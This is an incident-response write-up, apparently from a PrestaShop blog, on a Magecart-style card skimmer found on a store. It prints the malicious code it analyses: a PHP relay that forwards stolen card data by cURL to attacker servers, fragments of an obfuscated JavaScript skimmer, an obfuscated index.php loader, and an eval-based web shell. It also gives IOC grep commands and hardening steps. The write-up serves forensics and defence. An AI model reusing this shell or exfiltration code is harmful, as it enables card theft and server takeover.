Actualización — mayo de 2026. Poco después de publicarse, la misma tienda volvió a ser atacada. La reinfección no entró por una puerta trasera que se nos escapara — entró por la puerta principal: una vulnerabilidad a nivel de aplicación sin parchear (una inyección SQL en el módulo de búsqueda por facetas encadenada con el RCE de la caché MySQL de Smarty, CVE-2022-36408) que nuestra limpieza in situ había contenido pero nunca cerrado. Es exactamente la «segunda pasada» que se advierte más abajo — quitar el malware no equivale a cerrar el vector de entrada.

La remediación más profunda a nivel de aplicación — parches virtuales de las vulnerabilidades concretas, aplicación correcta de disable_functions y uso de Cloudflare como capa de parche virtual (bloqueo del origen + reglas WAF ajustadas + limitación de tasa) — la describimos en Endurecimiento avanzado de PrestaShop para tiendas que aún no se pueden actualizar →. La conclusión no cambia: la contención compra tiempo; la cura es la migración fuera de 1.7.x.

This is a real incident from a PrestaShop 1.7.x store we recovered. Identifiers are anonymized, but the control flow, file locations, payload structure, and detection logic are preserved. The goal: give other shop owners and developers a concrete reference for what a modern Magecart-style attack actually looks like, and what to do about it.

The store owner contacted us because the checkout page was showing a payment form they did not recognize. It looked like a Stripe Elements card form. The store does use Stripe, so the visual match was good enough that nobody had noticed for almost two days. By the time we looked, the skimmer had been quietly collecting card details from every customer who reached checkout.

The first clue: a payment form that should not exist

Stripe Elements renders card inputs inside cross-origin iframes. You cannot read what the user types from the parent page. That is the entire point of Stripe Elements.

The form we were looking at used raw HTML inputs:

<input id="cc_owner" name="cc_owner" onkeyup="smenu(this)" type="billing">
<input id="cardNumber" name="cardnumber" onkeyup="smenu(this)" autocomplete="cc-number">
<input id="cardExpiry" name="exp-date" onkeyup="smenu(this)" autocomplete="cc-exp">
<input id="cc_cid" name="cvc" onkeyup="smenu(this)" autocomplete="cc-csc">
<button onclick="processF()">PLACE ORDER</button>

Three immediate tells. First, no iframes — these are first-party inputs the parent page can read. Second, an onkeyup handler on every field that calls a custom function (smenu). Third, a language mismatch between the injected form and the rest of the store. The legitimate payment module was still installed and configured. The fake form had been injected on top of it.

Finding the server-side payload

A keylogger in the browser is only useful if it can send the captured data somewhere. We grepped the entire config/ directory for suspicious patterns and found this at the top of every single PHP file:

<?php
//@deprecated 1.7$ar=["aHR0cHM6Ly88Q1RfQT4","aHR0cHM6Ly88QzJfQj4"];
if(isset($_POST['order_llx'])){
    foreach ($ar as $v){
        $array = array(
            'statistics_hash'   => $_POST['order_llx'],
            'ua' => $_SERVER['HTTP_USER_AGENT'],
            'cl_ip' => $_SERVER['REMOTE_ADDR']
        );
        $ch = curl_init(base64_decode($v));
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $array);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_exec($ch);
        curl_close($ch);
    }
    unset($_POST['order_llx']);
}

Thirteen files in config/ had this block prepended. Every single one had the same inode change timestamp — within the same second. The attacker had scripted the deployment.

The two base64 strings decoded to IP addresses of two servers hosted on a large Asian cloud provider. That is the exfiltration endpoint.

One file, settings.inc.php, was completely replaced — only the malicious code remained. The store kept working because in PrestaShop 1.7 the real database configuration lives in app/config/parameters.php, not in the deprecated settings.inc.php. The attacker either knew this or got lucky.

The two-stage exfiltration trick

The clever part of this attack is how the data flows. Instead of the browser talking directly to the attacker's server (which is what most Content Security Policies, ad blockers, and anti-skimmer extensions are designed to catch), the compromised origin acts as a relay:

+----------------------+        +---------------------------+        +-------------------+
|   CUSTOMER BROWSER   |        |   COMPROMISED ORIGIN      |        |   C2 SERVERS      |
|                      |        |   (the store itself)      |        |   (attacker)      |
|  Fake card form on   |        |                           |        |                   |
|  checkout page       |        |  Injected PHP in          |        |  Receives card    |
|                      |        |  config/*.php files       |        |  details          |
|  smenu() logs keys   |        |                           |        |                   |
|  processF() submits  | -(1)-> |  Catches order_llx,       | -(2)-> |                   |
|                      |        |  forwards via cURL,       |        |                   |
|                      |        |  unsets the field         |        |                   |
+----------------------+        +---------------------------+        +-------------------+

  (1)  POST /  on the customer's own domain (first-party traffic)
       FormData: order_llx = base64(hex(cardNumber|cvv|expiry|name|billing))

  (2)  cURL POST from server to attacker's IP (server-to-server, invisible to browser)
       Customer never sees the C2 endpoint in DevTools or network logs.

From the browser's perspective, all traffic stays on the same origin. No suspicious cross-domain requests. No CORS warnings. Content Security Policies that only block third-party scripts will not catch this. Bot detection that flags traffic to unknown domains sees nothing. The customer's network admin sees a connection to the legitimate store and stops investigating.

This is a common and effective Magecart pattern: the browser-side script never talks to the C2 directly, and the compromised origin acts as the relay. Sansec and other Magecart trackers continue to see browser-direct exfiltration, server-side collection, hidden storage, and delayed-pull variants in parallel — there is no single dominant shape — but the same-origin relay is one of the harder ones to catch from the client side.

The JavaScript skimmer

The fake card form lives in the theme. We grepped for the unique tokens we had seen (cc_owner, processF, smenu) and found the injection appended to the theme's ps_shoppingcart.js file. The size delta alone was a smoking gun:

BEFORE (clean):
+--+                                                            2.7 KB
+--+

AFTER (infected):
+--+----------------------------------------------------------+ 340 KB
|2 |                                                          |
|.7|       The same 337 KB payload appended to every          |
|KB|       targeted .js file in the theme tree                |
+--+----------------------------------------------------------+

One 337 KB blob, copy-pasted to 74 different JavaScript files across the parent and child theme. Every theme.js, every custom.js, every module front-end script in the theme's vendored module folders.

The infection was not subtle once you knew where to look:

;var _0x5aa5=["\x62\x6E\x70\x6D\x65\x72\x63\x61\x6E\x65\x74\x63\x77\x5F\x63\x6F\x6E\x74\x65\x6E\x74",
              "\x70\x61\x79\x2D\x77\x69\x74\x68\x2D\x70\x61\x79\x6D\x65\x6E\x74\x2D\x6F\x70\x74\x69\x6F\x6E\x2D\x34\x2D\x66\x6F\x72\x6D",
              ...]; // 225 entries
function smenu(el){ ... }
function processF(){ ... }

The hex-encoded string array (_0x5aa5) is referenced by index throughout the rest of the code, e.g., document[_0x5aa5[39]](_0x5aa5[158]) becomes document.getElementById("cardNumber"). Standard obfuscation, trivially reversible.

Decoding the array tells you everything:

[39] getElementById       [156] billing[region_id]
[42] open                 [158] cardNumber
[140] billing[lastname]   [161] exp-date
[144] billing[street][]   [195] order_llx
[182] billing[user_agent] [199] /
[187] URL                 [200] POST
[188] Zhang               [217] cardExpiry
[190] append              [219] cc_owner
                          [224] cc_cid

The skimmer builds a pipe-delimited string of all the captured fields, hex-encodes it, base64-wraps it, and POSTs it as FormData to / with the payload field named order_llx. Several decoy fields are also added (products_hash, amount_hash, billing_hash, etc.) — all random noise, designed to make the POST look like a legitimate analytics beacon.

The compiled-asset trap

We replaced the infected ps_shoppingcart.js with a clean copy. The fake form still appeared on the checkout page.

PrestaShop's CCC (Combine, Compress, Cache) pipeline bundles the local front-office scripts registered for the current page — anything declared via registerJavascript without async/defer attributes — into combined files like bottom-<hash>.js in themes/<theme>/assets/cache/. The infected scripts on the checkout page were registered exactly that way, so they got baked into those bundles. Those bundles had been compiled while the source was infected, and until we purged the cache directory the browser kept receiving the malicious payload from the compiled bundle no matter what we did to the source files.

Then we looked wider, and the problem grew. The malicious code had been appended to 74 different JavaScript files across both the parent and child themes — every theme.js, every custom.js, every module front-end script in the theme's vendored module folders. The attacker had scripted the JS infection too, walking the theme directory and appending the same payload to every .js file matching a target list.

The fix was to replace the entire theme directory from a known-clean copy and purge every asset cache directory. Anything less left bundles regenerating from infected source.

The bigger problem: root compromise

While searching for more skimmer payloads, we ran find / -perm -4000 -type f and got an unpleasant surprise. Two ELF binaries in the webroot, disguised as JavaScript files:

-rwsr-xr-x 1 root root 1787240 [DAY -25] /var/www/.../js/<random>.js
-rwsr-xr-x 1 root root 1787240 [DAY -25] /var/www/.../js/<random>.js

SUID bit set, owned by root, 1.7 MB each, identical SHA256. The .js extension was meaningless — these are x86_64 ELF executables. file confirms: setuid ELF 64-bit LSB executable, statically linked, stripped.

Four more SUID root binaries were sitting in /usr/bin with random names plus one named pkexem — a one-letter typo on the legitimate pkexec, designed to blend in during casual ls. All four had identical SHA256 to each other (different binary from the webroot pair), placed three days after the webroot ones.

Creating a SUID root binary requires root privileges. PHP running as the site user cannot do this, no matter how loose open_basedir is or how empty disable_functions is. The presence of these files proved root had been compromised, not just the web user.

The actual entry point: a web shell in index.php

We had cleaned the skimmer and removed the backdoor binaries, but we still did not know how the attacker got in. The PrestaShop access logs showed the same IP (let us call it ATTACKER_IP) making POST requests to / over a period of weeks. The response sizes were the clue:

  • 46 KB responses: normal homepage. The exploit was probing without the right parameters.
  • 1–2 KB responses: command output. Recon and reconnaissance.
  • ~700 B responses: file write confirmations.

The response-size distribution is the entire fingerprint of the attack. Plotting POSTs from the attacker's IP over a month:

response size  |  meaning                                  |  count
---------------+-------------------------------------------+--------
        695 B  |  file write confirmation                  |  ##########
       1-2 KB  |  command output (ls, cat, whoami)         |  #######
       ~7 KB   |  larger recon (file listings)             |  #
      ~36 KB   |  one larger response (still < DB dump)    |  #
      ~46 KB   |  full homepage (wrong password, probing)  |  ##############

A full customer table export would have been hundreds of kilobytes minimum. None of the responses came close. That mismatch is what told us the attacker was using the shell for file writes (planting payload), not for bulk data extraction.

That pattern only makes sense if POST / is itself a code execution endpoint. Which led us to inspect index.php on both the live site and the dev site that lived in a sibling directory.

The dev site's index.php started with this:

<?php $e4d6="bHZ_rhEJKAp9LtFvUmPi816M4WXaQslRzoDuBeSNq23dCOx5yIjG0gTY7fVnkwc";
$y5e9=$e4d6[57].$e4d6[35].$e4d6[59].$e4d6[62].$e4d6[13]./* ... */; // resolves to a function-resolver name
$n4874=/* ... */;  // resolves to a runtime PHP-code-executor name
$xd4da=/* ... */;  // resolves to "base64_decode"
if(@$y5e9($n4874)){
    $tdd = @$n4874('', @$xd4da('aWYJCigKIGlzc2V0...'));
    @$tdd();
}

The string $e4d6 is an alphabet. The other variables are spelled out one character at a time by indexing into it, dodging any simple grep for create_function, assert, eval, or base64_decode. The loader decodes a base64 payload, builds an executable PHP closure from it at runtime (on PHP 7.x, where create_function and string assert() still worked), and invokes it. The decoded payload itself is small:

if (isset($_REQUEST['product_id']) && md5($_REQUEST['product_id']) === "<HASH>") {
    eval(base64_decode($_REQUEST['image_id']));
    exit();
}

This is the web shell. Any HTTP request that includes a product_id parameter whose MD5 matches the hardcoded hash gets to execute arbitrary PHP, with the payload in the image_id parameter. The parameter names are deliberately chosen to look like normal e-commerce parameters in the access logs, and the indirection through create_function / assert ties the loader to PHP versions where those constructs still exist (PHP 7.x; create_function was deprecated in 7.2 and removed in 8.0, and string assert() evaluation was also removed in 8). On a modern PHP 8 host the loader would fatal-error — which means anyone who later moves this codebase to PHP 8 would inadvertently break the backdoor, an accidental side benefit of upgrading.

The live site's index.php had been cleaned at some point (probably by a previous attempt at recovery, or by a CMS update), but the dev site's copy was original. Both shared the same docroot tree, and the attacker had been using whichever one was available.

Forensic timeline from access logs

We could not determine when the web shell was originally planted — it predated the available access log retention. The deployment timeline of the skimmer payload was clear, though:

Day relative to discoveryEventEvidence
−60+Web shell planted in index.phpPredates log retention
−25SUID root binaries dropped in webrootFile creation timestamp
−22SUID root binaries dropped in /usr/binFile creation timestamp
−10 to −5Reconnaissance via web shellPOST / responses 695–1844 B
−2Skimmer JS deployed to 74 theme filesInode change timestamps
−2 ~30 min laterSkimmer PHP deployed to 13 config filesInode change timestamps
0Owner reports the suspicious formVisual inspection

That 25-day window between root compromise and skimmer deployment is consistent with staged or batched monetization — initial access landed first, payload deployment came later — but we cannot prove from this evidence alone whether access was actually sold to another group or simply queued by the same operator working through targets.

Remediation — what we actually did, and in what order

Two practical constraints shaped the recovery. First, the store was live and processing orders; we could not take it offline for hours. Second, a PrestaShop upgrade from 1.7.x to 8.x or 9.x is a multi-week project — module compatibility, theme refactoring, payment module rewiring. A one or two-day upgrade was not realistic. So the immediate plan was containment and hardening, with a full rebuild on clean infrastructure planned in parallel.

An important caveat before the steps: because root was compromised on this host, the truly defensible end state is to reprovision from a known-clean OS image, migrate verified-clean application code and data, rotate every secret, and treat the original host as an emergency containment surface only — kept alive long enough to serve customers while the clean rebuild is staged. Cleaning artifacts in place is containment, not remediation. The steps below are what containment looked like.

Order matters. We did it like this:

  1. Preserve evidence first. Before touching anything, snapshot the filesystem (or at minimum tar the webroot, /etc, /var/log, and any control panel config dirs), archive access and error logs, and hash every suspicious file with sha256sum. If the host is virtualized, take a disk snapshot. You will want these artifacts for the post-mortem, for any payment-processor or card-scheme inquiry, and for the inevitable second pass when you find a backdoor you missed the first time.
  2. Stop the bleeding. The customer-visible skimmer is the most urgent thing. Strip the PHP injection from the 13 config files and restore settings.inc.php to its known-empty PS 1.7 stub. Replace the entire themes/ tree from a clean source. Purge themes/<theme>/assets/cache/, var/cache/, var/compile/, and any Redis/Memcached object cache the site uses. Restart PHP-FPM (or Apache, depending on the SAPI) to flush OPcache.
  3. Verify the visible threat is gone. Hard reload the checkout page in an incognito window. Inspect the served HTML and JS for any of the IOCs (cc_owner, processF, smenu, _0x5aa5, order_llx). Confirm the legitimate payment iframe is back.
  4. Find the backdoors. find / -perm -4000 -type f across the whole filesystem, not just the webroot. grep -rln 'eval.*base64_decode\|create_function.*base64\|assert.*base64' across PHP files. find /var/www -name '*.js' -exec file {} + | grep ELF to find ELF binaries masquerading as JavaScript. Audit every module under modules/, not just the theme and config directories. Check .htaccess, .user.ini, and PHP auto_prepend_file for sneaky redirects.
  5. Check for root-level persistence. The attacker had root, so anything that survives a webroot cleanup must be hunted: /etc/cron* and every user crontab, systemctl list-timers --all and every unit file under /etc/systemd/system/, ~/.ssh/authorized_keys for every user (not just root), /etc/sudoers and /etc/sudoers.d/, shell profiles (.bashrc, .profile, /etc/profile.d/), every webserver vhost file, and the MySQL mysql.user table plus any new events or triggers (SHOW EVENTS, SHOW TRIGGERS per database). Anything modified inside the compromise window is suspect.
  6. Remove the backdoors and identify the entry point. Delete the SUID binaries. Replace the infected index.php with a clean copy from a vanilla PrestaShop install of the same minor version. Quarantine the originals into your evidence archive, do not just delete.
  7. Lock down the entry points. The same files that got injected once will get targeted again. chattr +i on index.php, all of config/*.php, and any other static entry-point files. Even a future web shell would be unable to modify them without first removing the immutable attribute, which requires root and an explicit chattr -i. Note the caveat: chattr only works on filesystems that honor extended attributes — ext4, xfs, btrfs are fine; some container overlay setups and certain ZFS configurations are not.
  8. Constrain the PHP runtime, but understand what it does and does not buy you. We added disable_functions covering exec, system, shell_exec, passthru, popen, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec, pcntl_fork, dl, putenv, show_source, phpinfo. This stops a PHP shell from spawning OS processes — no id, no cat /etc/passwd, no chmod u+s, no curl via shell. It does not neutralize a PHP eval shell: the attacker can still read and write files inside open_basedir, talk to the database with the credentials in parameters.php, and call any non-blocked PHP function (including file_get_contents against URLs, if allow_url_fopen is on). Treat disable_functions as one layer in a defense-in-depth stack, not as a kill switch. The same applies to open_basedir: set it to the narrowest possible path, but do not assume it stops a determined attacker. PrestaShop core uses exec() in a couple of image and file MIME-detection paths; the wrappers have finfo fallbacks, which is why disabling exec does not break uploads. Test image uploads on a staging copy before applying to live.
  9. Rotate every credential the attacker could have touched. Treat all of the following as compromised: the database user password (rotate, update parameters.php, restart services), every PrestaShop back-office employee password, every FTP/SFTP/SSH password and key (drop any unrecognized keys from authorized_keys), the hosting control panel password, SMTP credentials, payment-gateway API keys (Stripe, PayPal, Adyen, etc. — generate new ones in their dashboards), Cloudflare/DNS provider API tokens, and any third-party integration secrets stored in ps_configuration or module config. Force-logout all admin sessions by truncating ps_employee_session. Notify your payment processor of the incident even if you do not believe card data was exfiltrated — they have reporting obligations.
  10. Block known-bad IPs at the firewall. The attacker's IP and the two C2 servers went into iptables — inbound DROP on the attacker, outbound DROP on the C2 endpoints. Outbound rules are important even after cleanup: they prevent any leftover backdoor from successfully calling home, and they make a re-infection noisier in logs.
  11. Remove publicly accessible admin tools. The site also had Adminer (a database management tool) sitting at a half-hidden URL inside a jQuery plugin folder. Anyone who found it could attempt to log in with the database credentials, which were sitting in parameters.php that the attacker had already read. We deleted it. If you need Adminer or phpMyAdmin, restrict it by IP or put it behind HTTP Basic Auth on a separate non-public path. Audit the rest of the webroot for similar surprises — Wordpress installs in subdirectories, leftover staging copies, exposed .git directories, debug pages.
  12. Put the site behind a WAF, but tune it carefully. A reverse-proxy WAF with managed rules (Cloudflare WAF Managed Rules, ModSecurity with the OWASP Core Rule Set, etc.) catches the POST / exploit pattern automatically. A custom rule blocking POST requests to / with no Referer header would have stopped this specific attack, but as a blanket rule it will false-positive on legitimate first-party fetches that use Referrer-Policy: no-referrer, on certain mobile browsers, and on some module AJAX paths. Start that rule in log-only or challenge mode, watch a few days of traffic, and tighten the matcher to the suspicious shape (POST to / with parameters named product_id plus image_id or order_llx, abnormally short bodies, repeated no-referrer POSTs from the same IP) before flipping to block. Make sure every DNS record is proxied; a single grey-cloud A record leaks the origin IP and the WAF becomes optional from the attacker's perspective.

Indicators of compromise

If you run a PrestaShop store and want to check whether you have been hit by this family, here is what to grep for. Run the commands on a snapshot or with the site in read-only mode if possible — large recursive greps on a busy webroot can spike I/O and trigger alerts of their own:

# PHP-side indicators (the strongest grep)
rg -n "order_llx|_0x5aa5|processF|smenu|__Pres_[il]dk" /var/www

# Specifically the config-file injection
rg -n "@deprecated 1.7\$ar=\[" /var/www

# Suspicious eval/assert/create_function chains
rg -n "eval\s*\(\s*base64_decode|assert\s*\(\s*base64_decode|create_function.*base64" /var/www --type php

# SUID files anywhere on disk (run from root)
find / -perm -4000 -type f 2>/dev/null

# ELF binaries masquerading as JS
find /var/www -name '*.js' -exec file {} + | grep ELF

# .htaccess / .user.ini tampering and auto_prepend persistence
rg -n "auto_prepend_file|auto_append_file" /var/www
find /var/www -name '.htaccess' -newer /var/log -ls
find /var/www -name '.user.ini' -ls

And in the browser, on the rendered checkout page:

  • HTML elements with IDs cc_owner, cardNumber, cardExpiry, cc_cid (legitimate Stripe/Adyen/Braintree forms use iframes; if you see raw <input> fields collecting card data, you have a problem)
  • Cookies named __Pres_idk or __Pres_ldk being set
  • An obfuscated index.php starting with <?php $e4d6= or any similar single-letter-plus-hex variable name immediately after the opening tag

The string "Zhang" (or its base64 Wmhhbmc=) appears in this skimmer's exfil payload as a campaign tag, but it is too generic to use as a standalone indicator — only weight it as a hit when it co-occurs with one of the other indicators above.

For deeper sweeps, point a malware scanner at the webroot. php-malware-finder, the public YARA rules from Sucuri and ESET, and host-based file-integrity monitoring (AIDE, Wazuh, OSSEC) all help — but skip the Magento-specific scanners; their signatures will not match a PrestaShop-shaped attack.

Closing thoughts

The web shell was the actual wound. The skimmer was the visible symptom. Cleaning the skimmer without finding the shell would have left the door wide open for the attacker to redeploy the same payload (or a smarter one) in days. The fact that 25 days passed between the root compromise and the skimmer deployment suggests strongly that initial access and monetization are now separated stages — the same intrusion is being sold or queued.

If you are running PrestaShop 1.7.x today: you are a target. The exploits used to plant the original web shell are years old, well-known, and bundled into automated scanners. Upgrading to PrestaShop 8 or 9 is the only long-term answer. In the interim — and the interim is realistically weeks or months for a non-trivial store — the hardening steps above raise the cost of attack significantly. chattr +i on index.php would have prevented the loader from being written in the first place. disable_functions would have stopped the attacker from escalating from a web shell to SUID-root persistence via shelled commands, even if it would not have neutralized PHP-level code execution itself. A WAF with managed rules would have blocked the initial exploit traffic before it reached the application. None of these are silver bullets individually; together they turn what here was automated exploitation followed by scripted payload deployment into something the attacker has to work for — and, just as importantly, something that produces enough noise that you have a chance of catching it.

Official PrestaShop references

For official PrestaShop guidance, see PrestaShop's security alert on digital skimmers, the project post on a major PrestaShop security vulnerability, the 2025 note on SQL injection attacks and injected JavaScript, and PrestaShop's store security best practices. These are not reports about this specific incident, but they provide useful official context for skimmer checks, credential rotation, module updates, and escalation obligations.

If you need a starting point, our PrestaShop Security Hardening Checklist covers the full set of steps in checklist form, and our Data Breach Response guide covers what to do if the worst has already happened. This post documents what one of those worst cases actually looked like, from inside.

Compartir esta publicación:
David Miller

David Miller

Más de una década de experiencia práctica con PrestaShop. David desarrolla módulos de comercio electrónico de alto rendimiento centrados en SEO, optimización del checkout y gestión de tiendas. Apasionado por el código limpio y los resultados medibles.

¿Te gustó este artículo?

Recibe nuestros últimos consejos, guías y actualizaciones de módulos en tu bandeja de entrada.

Comentarios

Aún no hay comentarios. ¡Sé el primero!

Sé el primero en hacer una pregunta o compartir una opinión útil.

Cargando...
Volver arriba